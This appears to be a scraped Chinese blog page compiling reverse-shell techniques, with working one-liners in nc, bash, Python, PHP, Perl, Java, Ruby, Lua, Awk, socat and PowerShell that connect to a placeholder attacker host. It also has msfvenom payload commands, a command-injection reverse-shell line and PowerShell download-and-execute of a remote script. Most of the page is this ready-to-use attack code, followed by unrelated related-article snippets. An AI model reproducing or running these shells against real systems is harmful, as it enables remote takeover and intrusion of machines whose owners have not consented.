当前位置: 首页 > news >正文

反弹shell总结

反弹shell总结

  • 讲在前面说的话:
  • 反弹shell总结
      • nc反弹shell
          • 正向shell
          • 反向shell
          • 正向shell(服务端被攻击):
          • 反向shell(客户端被攻击):
      • 无nc反弹shell
          • python反弹shell
          • bash反弹shell
          • PHP反向shell
          • Perl反向shell
          • Java反弹shell
          • socat 反弹shell
          • Ruby反弹shell
          • Lua反弹shell
          • Awk 反弹shell
          • exec反弹shell
          • powershell反弹shell
          • 利用msf生成反弹shell
  • kali综合渗透测试-常用代码
  • 各种反弹shell方法总结备忘
      • shell分为两种,一种是正向shell,另一种是反向shell。
          • (1)正向shell
          • (2)反向shell
      • 4.在目标主机中没有nc时获得反向shell
          • (1)Python反向shell
          • (2)Bash反向shell
          • (3)PHP反向shell
          • (4)Perl反向shell
          • (5)Java脚本反弹shell
          • (6)socat 反弹shell
          • (7)Ruby反弹shell
          • (8)Lua反弹shell
          • (9)Awk反弹shell
          • (10)exec反弹shell
          • (11)nc反弹shell:
          • (12)powershell反弹shell
          • (13)从原生的 shell 环境切换到linux的交互式 bash 环境 通常我们nc获得的shell都是不完全shell,需要通过Python的pty转换为拥有完全命令行的完全shell,方便我们进行复制粘贴等操作。
  • 【技术分享】linux各种一句话反弹shell总结
      • 简介
      • 一、场景一
          • 1.1 安装netcat
          • 1.2 开启本地监听
          • 1.3 直接连接目标主机
      • 二、场景二
          • 2.1 bash 直接反弹
          • 2.2 netcat 工具反弹
          • 2.3 socat 反弹一句话
          • 2.4 其他脚本一句话shell反弹
          • 2.5 msfvenom 获取反弹一句话
      • 三、场景三
          • 3.1 一句话添加账号
          • 3.2 python 标准虚拟终端获取
      • 四、写在最后
          • 4.1 nc开启本地监听发布bash服务
          • 4.2 常用反弹shell一句话
          • 4.3 利用msfvenom获取反弹一句话
          • 4.4 使用python获取标准shell
          • 4.5 linux 一句话添加账户
      • 学习参考
  • 反弹SHELL汇总
      • Reverse Shell Cheat Sheet
          • Bash
          • PERL
          • Python
          • PHP
          • Ruby
          • Netcat
          • Java
          • xterm
          • Further Reading
  • 几种常见反弹shell汇总
      • 0x01. bash
      • 0x02. nc(netcat)反弹
      • 0x03. telnet反弹
      • 常见脚本反弹
          • 1. python
          • 2. perl
          • 方法二:
          • 3. Ruby
          • 4. PHP
          • 5. Java
          • 6. Lua
          • 7. AWK 反弹
      • Reference
  • 10种反弹shell方式
      • 参考链接:
      • 10种反弹shell方式
          • 1. bash
          • 2. perl
          • 3. python
          • 4. php
          • 5. ruby
          • 6. nc
          • 7. java
          • 8. xterm
          • 9. exec
          • 10. 从原生的 shell 环境切换到 linux 的交互式 bash 环境




讲在前面说的话:

没有任何基础的 推荐 【技术分享】linux各种一句话反弹shell总结




反弹shell总结

nc反弹shell

正向shell
nc -lvp 1234 -e /bin/bash # linux  服务端(被攻击的主机)
nc -lvp 1234 -e c:\windows\system32\cmd.exe # windows 服务端(被攻击的主机)
nc host.example.com 1234 # linux 客户端
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l host.example.com 1234 > /tmp/f # linux  服务端(被攻击的主机)
nc host.example.com 1234 # 客户端
反向shell
nc -lvp 1234 # 服务端
nc host.example.com 1234 -e /bin/sh # linux 客户端 (被攻击的主机)
nc host.example.com 1234 -e c:\windows\system32\cmd.exe # windows 客户端 (被攻击的主机)
正向shell(服务端被攻击):

本地或vps将自己的shell传给服务器(端口监听在服务器上)

反向shell(客户端被攻击):

目标机器将shell主动传给本地或vps(端口监听在本地vps上)

无nc反弹shell

python反弹shell
nc -lvp 1234 # 服务端
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("host.example.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# 绕过限制sudo提权
sudo python -c "import pty;pty.spawn("/bin/bash")"
# 反弹shell后,显示当前用户信息
python -c "import pty; pty.spawn("/bin/bash")"
bash反弹shell
nc -lvp 1234 # 服务端
bash -i >& /dev/tcp/host.example.com/1234 0>&1 # 客户端 (被攻击的主机)
PHP反向shell
php -r '$sock=fsockopen("host.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl反向shell
perl -e 'use Socket;$i="host.example.com";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"host.example.com:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Java反弹shell
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/host.example.com/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();


Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/host.example.com/1234 0>&1"});
p.waitFor();
socat 反弹shell
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod 755 /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:host.example.com:1234
Ruby反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Lua反弹shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('host.example.com','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Awk 反弹shell
awk 'BEGIN{s="/inet/tcp/0/host.example.com/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
exec反弹shell
exec 5<>/dev/tcp/host.example.com/1234 cat <&5 | while read line; do $line 2>&5 >&5; done
0<&196;exec 196<>/dev/tcp/host.example.com/1234; sh <&196>&196 2>&196
powershell反弹shell
apt-get install powshell
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress host.example.com -port 1234
利用msf生成反弹shell

Msfvenom生成一个反弹shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=443 > shell443.php

利用模块

use exploit/multi/handler

msf生成一个war格式的反弹shell

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.5 lport=6666 -f war -o test.war

msfvenom生成一个payload,上传到目标,增加执行权限

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=8888 -f elf > shell.elf




kali综合渗透测试-常用代码

命令执行漏洞反弹shell代码:

echo “bash -i >& /dev/tcp/192.168.56.102/6666 0>&1” | bash

burpsuite抓包修改用户名密码的数据包内容代入数据库执行,反弹shell语句

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1

相关文章:

反弹shell总结

反弹shell总结 讲在前面说的话:反弹shell总结nc反弹shell正向shell反向shell正向shell(服务端被攻击):反向shell(客户端被攻击):无nc反弹shellpython反弹shellbash反弹shellPHP反向shellPerl反向shellJava反弹shellsocat 反弹shellRuby反弹shellLua反弹shellAwk 反弹she…...

[机缘参悟-103] :IT人关于接纳的思考与感悟

目录 前言&#xff1a; 一、接纳 1.1 什么是接纳 1.2 对接纳的误解 1.3 接纳的含义 1.4 "存在即合理" VS 接纳 1.5 接纳 VS 躺平 VS 随遇而安 1.6 为什么现实总是那么不尽人意 1.7 现实世界的多样性 1.8 接纳与认命 1.9 不接纳的表现 前言&#xff1a; …...

甄知携AIGC新升级产品参与首届人工智能生成内容国际会议,共探AIGC最前沿技术

首届人工智能生成内容国际会议(2023The 1st International Conference on AI-generated Content (AIGC2023)于2023年8月25-26日在中国上海举行。本次会议得到了复旦大学、中国科技大学、同济大学、上海交通大学、上海人工智能实验室、香港中文大学等知名院校和研究机构的大力支…...

4.9 已建立连接的TCP,收到SYN会发生什么?

1. 客户端的 SYN 报文里的端口号与历史连接不相同 此时服务端会认为是新的连接要建立&#xff0c;于是就会通过三次握手来建立新的连接。 旧连接里处于 Established 状态的服务端最后会怎么样呢&#xff1f; 服务端给客户端发消息了&#xff1a;客户端连接已被关闭&#xff…...

leetcode 365 水壶问题

有一个水壶容量或者两个水壶加起来总容量为目标容量 总共有八种选择&#xff1a;第一种倒满x,第二种倒满y,第三种清空x,第四种清空y,第五种x 倒给 y y能装满 &#xff0c;第六种 x 倒给 y x倒完, 。。。。 这里用深度遍历&#xff0c;时间超时 class Solution {public boole…...

django/CVE-2017-12794XSS漏洞复现

docker搭建漏洞复现环境 漏洞原理看帮助文档 # Django debug page XSS漏洞&#xff08;CVE-2017-12794&#xff09;分析Django发布了新版本1.11.5&#xff0c;修复了500页面中可能存在的一个XSS漏洞&#xff0c;这篇文章说明一下该漏洞的原理和复现&#xff0c;和我的一点点评…...

【学习笔记】计算机视觉对比学习综述

计算机视觉对比学习综述 前言百花齐放InstDiscInvaSpreadCPCCMC CV双雄MoCoSimCLRMoCo v2SimCLR v2SwAV 不用负样本BYOLSimSiam TransformerMoCo v3DINO 总结参考链接 前言 本篇对比学习综述内容来自于沐神对比学习串讲视频以及其中所提到的论文和博客&#xff0c;对应的链接详…...

【Linux】fork函数的基础知识

文章目录 前言一、fork的返回值二、常见问题 1.为什么fork要给子进程返回0&#xff0c;给父进程返回子进程pid&#xff1f;2.一个函数返回两次值怎么理解&#xff1f; 3.一个变量怎么会有不同的内容&#xff1f; 4.fork函数干了什么&#xff1f; 前言 fork初识&#xff1a; …...

代码随想录算法训练营day48 | LeetCode 198. 打家劫舍 213. 打家劫舍 II 337. 打家劫舍 III

198. 打家劫舍&#xff08;题目链接&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台&#xff09; 思路&#xff1a;dp题除背包外的另外一类题目&#xff0c;重点不在于看前面的情况&#xff0c;而在于考虑本节点的情况。一种情况&#xf…...

【已解决】Java 后端使用数组流 Array.stream() 将数组格式的 Cookie 转换成字符串格式

&#x1f389;工作中遇到这样一个场景&#xff1a;远程调用某个接口&#xff0c;该接口需要用户的 Cookie 信息进行权限认证&#xff0c;认证通过之后才可以打通并返回数据。 在后端拿到 httpServletRequest 后&#xff0c;调用 getCookies() 方法&#xff0c;返回的是一个 Coo…...

Redis——》如何评估锁过期时间

推荐链接&#xff1a; 总结——》【Java】 总结——》【Mysql】 总结——》【Redis】 总结——》【Kafka】 总结——》【Spring】 总结——》【SpringBoot】 总结——》【MyBatis、MyBatis-Plus】 总结——》【Linux】 总结——》【MongoD…...

完整开发实现公众号主动消息推送,精彩内容即刻到达

&#x1f3c6;作者简介&#xff0c;黑夜开发者&#xff0c;CSDN领军人物&#xff0c;全栈领域优质创作者✌&#xff0c;CSDN博客专家&#xff0c;阿里云社区专家博主&#xff0c;2023年6月CSDN上海赛道top4。 &#x1f3c6;数年电商行业从业经验&#xff0c;历任核心研发工程师…...

获取ip(公网和内网) 前端通过高德api获取位置信息

获取ip&#xff08;公网和内网&#xff09; 前端通过高德api获取位置信息 获取ip //获取公网ip getIp() {this.$axios.get(http://api.ipify.org).then((res) > {if (res) {console.log(res, 公网ip);}}).catch((e) > {console.log(e, e);}); },//获取内网ip this.getIP(…...

linux打开端口命令是什么

linux打开端口命令是什么 linux开启端口的命令是 1 firewall-cmd --zonepublic --add-port端口/通讯协议 --permanent 需要注意的是&#xff0c;我们在开启指定端口后需要重启防火墙。 示例如下&#xff1a; 1、开启防火墙 1 systemctl start firewalld 2、开放指定端…...

从《孤注一掷》出发,聊聊 SSL 证书的重要性

你去看《孤注一掷》了吗&#xff1f;相信最近大家的朋友圈和抖音都被爆火电影《孤注一掷》成功刷屏。取材于上万真实案例的《孤注一掷》揭露了缅甸诈骗园区残暴的统治&#xff0c;以及电信诈骗中系统性极强的诈骗技巧&#xff0c;引发了大量讨论。 图片来源于电影《孤注一掷》…...

专题:曲面的切平面、法线

假设曲面方程为隐函数 F ( x , y , z ) 0 &#xff0c;点 M ( x 0 , y 0 , z 0 ) 是其上一点 又在点 M 处任意引一条在曲面上的曲线&#xff0c;设该曲线参数方程为&#xff1a; { x φ ( t ) y ψ ( t ) z ω ( t ) &#xff0c;且当 t t 0 时&#xff0c; x x 0 , y y…...

数据结构:排序解析

文章目录 前言一、常见排序算法的实现1.插入排序1.直接插入排序2.希尔排序 2.交换排序1.冒泡排序2.快速排序1.hoare版2.挖坑版3.前后指针版4.改进版5.非递归版 3.选择排序1.直接选择排序2.堆排序 4.归并排序1.归并排序递归实现2.归并排序非递归实现 5.计数排序 二、排序算法复杂…...

Revit SDK:AutoJoin 自动合并体量

前言 Revit 有一套完整的几何造型能力&#xff0c;每一个体量都是一个GenericForm&#xff0c;这些体量可以通过拉伸、扫掠等创建。这个例子介绍如何将他们合并成一个体量。 内容 合并体量的关键接口&#xff1a; // Autodesk.Revit.DB.Document public GeomCombination Com…...

MYSQL(索引、事务)

文章目录 一、索引二、事务 一、索引 数据库中的表、数据、索引之间的关系&#xff0c;类似于书架上的图书、书籍内容和书籍目录的关系 1. 概述 概念&#xff1a;相当于是一本书的目录&#xff0c;是以‘列’为维度进行建立的使用场景&#xff1a;如果我们要查询一个表中的某个…...

部署问题集合(二十三)设置Docker容器内的中文字符集,解决某些情况下中文乱码的问题

前言&#xff1a; 同事给了一个服务&#xff0c;在Windows环境下怎么跑都正常&#xff0c;但一到Linux虚拟机里就中文乱码起初就想到了可能是字符集的问题&#xff0c;但调整了半天也没见效果&#xff0c;最后隔了几天突然想到&#xff0c;我是构建Docker跑的&#xff0c;而且…...

手游刚开服就被攻击怎么办?如何防御DDoS?

开服初期是手游最脆弱的阶段&#xff0c;极易成为DDoS攻击的目标。一旦遭遇攻击&#xff0c;可能导致服务器瘫痪、玩家流失&#xff0c;甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案&#xff0c;帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...

AtCoder 第409​场初级竞赛 A~E题解

A Conflict 【题目链接】 原题链接&#xff1a;A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串&#xff0c;只有在同时为 o 时输出 Yes 并结束程序&#xff0c;否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

电脑插入多块移动硬盘后经常出现卡顿和蓝屏

当电脑在插入多块移动硬盘后频繁出现卡顿和蓝屏问题时&#xff0c;可能涉及硬件资源冲突、驱动兼容性、供电不足或系统设置等多方面原因。以下是逐步排查和解决方案&#xff1a; 1. 检查电源供电问题 问题原因&#xff1a;多块移动硬盘同时运行可能导致USB接口供电不足&#x…...

【配置 YOLOX 用于按目录分类的图片数据集】

现在的图标点选越来越多&#xff0c;如何一步解决&#xff0c;采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集&#xff08;每个目录代表一个类别&#xff0c;目录下是该类别的所有图片&#xff09;&#xff0c;你需要进行以下配置步骤&#x…...

用docker来安装部署freeswitch记录

今天刚才测试一个callcenter的项目&#xff0c;所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...

均衡后的SNRSINR

本文主要摘自参考文献中的前两篇&#xff0c;相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程&#xff0c;其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt​ 根发送天线&#xff0c; n r n_r nr​ 根接收天线的 MIMO 系…...

Xen Server服务器释放磁盘空间

disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...

MFC 抛体运动模拟:常见问题解决与界面美化

在 MFC 中开发抛体运动模拟程序时,我们常遇到 轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵 等问题。本文将针对这些痛点,详细解析原因并提供解决方案,同时兼顾界面美化,让模拟效果更专业、更高效。 问题一:历史轨迹与小球残影残留 现象 小球运动后,历史位置的 “残影”…...

[免费]微信小程序问卷调查系统(SpringBoot后端+Vue管理端)【论文+源码+SQL脚本】

大家好&#xff0c;我是java1234_小锋老师&#xff0c;看到一个不错的微信小程序问卷调查系统(SpringBoot后端Vue管理端)【论文源码SQL脚本】&#xff0c;分享下哈。 项目视频演示 【免费】微信小程序问卷调查系统(SpringBoot后端Vue管理端) Java毕业设计_哔哩哔哩_bilibili 项…...

MySQL 索引底层结构揭秘:B-Tree 与 B+Tree 的区别与应用

文章目录 一、背景知识&#xff1a;什么是 B-Tree 和 BTree&#xff1f; B-Tree&#xff08;平衡多路查找树&#xff09; BTree&#xff08;B-Tree 的变种&#xff09; 二、结构对比&#xff1a;一张图看懂 三、为什么 MySQL InnoDB 选择 BTree&#xff1f; 1. 范围查询更快 2…...